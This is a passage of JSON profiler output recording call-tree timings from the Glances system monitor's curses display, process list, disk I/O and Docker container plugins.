0.0019982230005552992},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.0039996189952944405, \"l308\": 0.0020044720004079863, \"l315\": 0.001995146994886454},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000214000872802, \"l397\": 0.002000214000872802},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002000,\"attributes\": {\"l96\": 0.002000214000872802},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020019139992655255, \"l361\": 0.0020019139992655255},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020019139992655255, \"l350\": 0.0020019139992655255},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020019139992655255, \"l1251\": 0.0020019139992655255},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002002,\"attributes\": {\"l478\": 0.0020019139992655255},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999066000280436, \"l309\": 0.001999066000280436},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999066000280436, \"l882\": 0.001999066000280436},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999066000280436, \"l902\": 0.001999066000280436},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001999,\"attributes\": {\"cGlancesThresholds\": 0.001999066000280436, \"l47\": 0.001999066000280436},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020017269998788834, \"l359\": 0.0020017269998788834},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019975960021838546, \"l309\": 0.0019975960021838546},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019975960021838546, \"l882\": 0.0019975960021838546},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019975960021838546, \"l902\": 0.0019975960021838546},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001998,\"attributes\": {\"cGlancesThresholds\": 0.0019975960021838546, \"l48\": 0.0019975960021838546},\"children\": [{\"identifier\": \"str.capitalize\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020017490023747087, \"l500\": 0.0020017490023747087},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002002,\"attributes\": {\"l51\": 0.0020017490023747087},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999865999096073, \"l440\": 0.001999865999096073},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999865999096073, \"l290\": 0.001999865999096073},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999865999096073, \"l967\": 0.001999865999096073},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001998811996600125, \"l367\": 0.001998811996600125},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020014469992020167, \"l309\": 0.0020014469992020167},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020014469992020167, \"l855\": 0.0020014469992020167},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020014469992020167, \"l963\": 0.0020014469992020167},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003998,\"attributes\": {\"cProcesslistPlugin\": 0.003998407999461051, \"l361\": 0.003998407999461051},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.003998,\"attributes\": {\"cProcesslistPlugin\": 0.003998407999461051, \"l350\": 0.001999036001507193, \"l349\": 0.0019993719979538582},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.001999,\"attributes\": {\"l242\": 0.0019993719979538582},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019998920033685863, \"l429\": 0.0019998920033685863},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019998920033685863, \"l278\": 0.0019998920033685863},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019998920033685863, \"l967\": 0.0019998920033685863},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002003,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020026119964313693, \"l824\": 0.0020026119964313693},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002003,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020026119964313693, \"l1094\": 0.0020026119964313693},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002003,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020026119964313693, \"l1054\": 0.0020026119964313693},\"children\": [{\"identifier\": \"display_stats_with_current_size\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001016\",\"time\": 0.002003,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020026119964313693, \"l1018\": 0.0020026119964313693},\"children\": [{\"identifier\": \"window.addnstr\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.102149,\"attributes\": {\"cGlancesCursesStandalone\": 0.10214879400155041, \"l291\": 0.10214879400155041},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.102149,\"attributes\": {\"cGlancesCursesStandalone\": 0.10214879400155041, \"l260\": 0.10214879400155041},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.102149,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.102149,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100404,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040405800100416, \"l1202\": 0.10040405800100416},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100404,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100404,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054704800131731, \"l291\": 0.10054704800131731},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054704800131731, \"l260\": 0.10054704800131731},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100547,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100547,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100433,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043333299836377, \"l1202\": 0.10043333299836377},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100433,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100433,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100542,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054197799763642, \"l291\": 0.10054197799763642},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100542,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054197799763642, \"l260\": 0.10054197799763642},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100542,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100542,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004738260016893, \"l1202\": 0.1004738260016893},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100474,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100474,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100578,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057764499651967, \"l291\": 0.10057764499651967},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100578,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057764499651967, \"l260\": 0.10057764499651967},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100578,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100578,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100420,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041982200345956, \"l1202\": 0.10041982200345956},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100420,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100420,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100536,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053638999670511, \"l291\": 0.10053638999670511},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100536,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053638999670511, \"l260\": 0.10053638999670511},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100536,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100536,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100518,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051756600296358, \"l1202\": 0.10051756600296358},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100518,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100518,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054710999975214, \"l291\": 0.10054710999975214},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054710999975214, \"l260\": 0.10054710999975214},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100547,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100547,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100473,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047317000135081, \"l1202\": 0.10047317000135081},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100473,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100473,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100507,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050701000000117, \"l291\": 0.10050701000000117},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100507,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050701000000117, \"l260\": 0.10050701000000117},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100507,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100507,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100280,\"attributes\": {\"cGlancesCursesStandalone\": 0.10027998599980492, \"l1202\": 0.10027998599980492},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100280,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100280,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100531,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053075000178069, \"l291\": 0.10053075000178069},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100531,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053075000178069, \"l260\": 0.10053075000178069},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100531,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100531,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100413,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041334799461765, \"l1202\": 0.10041334799461765},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100413,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100413,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100549,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054856400529388, \"l291\": 0.10054856400529388},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100549,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054856400529388, \"l260\": 0.10054856400529388},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100549,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100549,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100543,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054256399598671, \"l1202\": 0.10054256399598671},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100543,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100543,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100599,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059899499901803, \"l291\": 0.10059899499901803},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100599,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059899499901803, \"l260\": 0.10059899499901803},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100599,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100599,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100536,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053647799941245, \"l1202\": 0.10053647799941245},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100536,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100536,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.107512,\"attributes\": {\"cGlancesStats\": 0.1075119880042621, \"l287\": 0.1075119880042621},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.107512,\"attributes\": {\"cGlancesStats\": 0.1075119880042621, \"l575\": 0.1075119880042621},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.107512,\"attributes\": {\"l571\": 0.1075119880042621},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.107512,\"attributes\": {\"cGlancesStats\": 0.1075119880042621, \"l274\": 0.08758334400044987, \"l275\": 0.019928644003812224},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.003429041003983002, \"l1278\": 0.003429041003983002},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003429,\"attributes\": {\"l1295\": 0.003429041003983002},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.003429041003983002, \"l114\": 0.003429041003983002},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.003429041003983002, \"l1351\": 0.003429041003983002},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.003429041003983002, \"l148\": 0.001579255003889557, \"l158\": 0.0018497860000934452},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001579,\"attributes\": {\"l2129\": 0.001579255003889557},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001579,\"attributes\": {\"l1106\": 0.001579255003889557},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001579,\"attributes\": {\"l1051\": 0.001579255003889557},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001579,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001850,\"attributes\": {\"cDiskioPlugin\": 0.0018497860000934452, \"l1058\": 0.0018497860000934452},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001850,\"attributes\": {\"cDiskioPlugin\": 0.0018497860000934452, \"l1051\": 0.0018497860000934452},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001850,\"attributes\": {\"cDiskioPlugin\": 0.0018497860000934452, \"l1018\": 0.0018497860000934452},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001850,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001990,\"attributes\": {\"cDiskioPlugin\": 0.0019900929983123206, \"l194\": 0.0019900929983123206},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001990,\"attributes\": {\"cDiskioPlugin\": 0.0019900929983123206, \"l856\": 0.0019900929983123206},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001990,\"attributes\": {\"cDiskioPlugin\": 0.0019900929983123206, \"l969\": 0.0019900929983123206},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.058001,\"attributes\": {\"cContainersPlugin\": 0.002047203997790348, \"l1278\": 0.0580005110023194, \"cProcesscountPlugin\": 0.05595330700452905},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.058001,\"attributes\": {\"l1295\": 0.0580005110023194},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002047,\"attributes\": {\"cContainersPlugin\": 0.002047203997790348, \"l252\": 0.002047203997790348},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002047,\"attributes\": {\"l256\": 0.002047203997790348},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002047,\"attributes\": {\"l248\": 0.002047203997790348},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002047,\"attributes\": {\"cDockerExtension\": 0.002047203997790348, \"l260\": 0.002047203997790348},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002047,\"attributes\": {\"cContainerCollection\": 0.002047203997790348, \"l1009\": 0.002047203997790348},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002047,\"attributes\": {\"cAPIClient\": 0.002047203997790348, \"l212\": 0.002047203997790348},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002047,\"attributes\": {\"cAPIClient\": 0.002047203997790348, \"l44\": 0.002047203997790348},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002047,\"attributes\": {\"cAPIClient\": 0.002047203997790348, \"l246\": 0.002047203997790348},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002047,\"attributes\": 